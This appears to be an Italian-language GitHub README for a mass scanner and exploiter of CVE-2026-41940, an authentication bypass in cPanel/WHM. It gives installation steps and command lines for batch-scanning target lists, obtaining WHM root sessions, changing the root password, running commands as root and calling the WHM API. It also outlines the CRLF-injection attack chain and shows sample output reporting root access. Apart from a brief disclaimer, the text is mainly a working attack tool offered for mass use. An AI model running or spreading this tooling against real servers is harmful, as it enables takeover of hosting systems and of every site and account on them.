
cPanel/WHM CVE-2026-41940 - Scanner di Massa ed Exploiter
Scanner e strumento di exploit per il bypass dell'autenticazione cPanel/WHM per CVE-2026-41940
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.
Utilizzando questo strumento, accetti che:
❗ L'autore NON è responsabile di usi impropri, attività illegali, danni o conseguenze legali derivanti dall'utilizzo di questo strumento.
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in cPanel/WHM che può consentire agli aggressori di ottenere accesso root non autorizzato senza credenziali valide.
Questo strumento fornisce un'implementazione basata su Python per:
Python 3.7+
pip install requests urllib3
git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt
# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com
# Single target
python cpanel-mass-checker.py -u https://target.com:2087
# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20
# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt
# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com
# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com
# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com
# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com
targets.txt)# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083
[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt
[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
https://example.com:2087/cpsessXXXXXXX/
| Campo | Valore |
|---|---|
| CVE | CVE-2026-41940 |
| Gravità | Critica (CVSS 9.8) |
| Vettore d'attacco | Rete |
| Privilegi richiesti |
-hostnamePer test sicuri e legali:
Se questo progetto ti è stato utile, considera di lasciare una ⭐
| Fase | Descrizione |
|---|
| 1. Pre-autenticazione | Invia credenziali non valide a /login/ per ottenere il cookie whostmgrsession |
| 2. Iniezione CRLF | Inietta un newline tramite l'header Authorization: Basic per divulgare il token cpsess |
| 3. Propagazione del token | Attiva do_token_denied per propagare il token nella cache |
| 4. Verifica | Accede a /json-api/version per confermare l'accesso root a WHM |
| Funzionalità | Descrizione |
|---|
| 🔄 Scansione batch | Scansiona più target contemporaneamente |
| 🎯 Target singolo | Scansiona un singolo target con output dettagliato |
| 🔌 Scansione porte | Scansione automatica delle porte WHM (2082, 2083, 2086, 2087) |
| 🔓 URL di sessione | Genera un URL di login WHM con un clic |
| 💀 RCE | Esegue comandi di sistema come root |
| 🔑 Cambio password | Modifica la password di root di WHM |
| 📡 Chiamate API WHM | Chiama le funzioni API di WHM |
| 🎨 Output colorato | Output visivo per i risultati |
| 💾 Esporta risultati | Salva i target vulnerabili in un file |
| Parametro | Descrizione | Esempio |
|---|
| -u | URL del target singolo | -u https://target.com:2087 |
| -f | File della lista dei target | -f targets.txt |
| -c | Concorrenza (thread) | -c 20 |
| -o | File di output | -o results.txt |
| -hostname | Header Host personalizzato | -hostname cpanel.target.com |
| --scan-ports | Scansiona tutte le porte WHM | --scan-ports |
| -session | Genera URL di login | -session |
| -passwd | Cambia password di root | -passwd "NewPass123" |
| -cmd | Esegui comando | -cmd "id" |
| -keep | Mantieni account temporaneo | -keep |
| -api | Chiama API WHM | -api listaccts |
| -api-params | Parametri API | -api-params "user=root,password=123" |
| Nessuno |
| Interazione utente | Nessuna |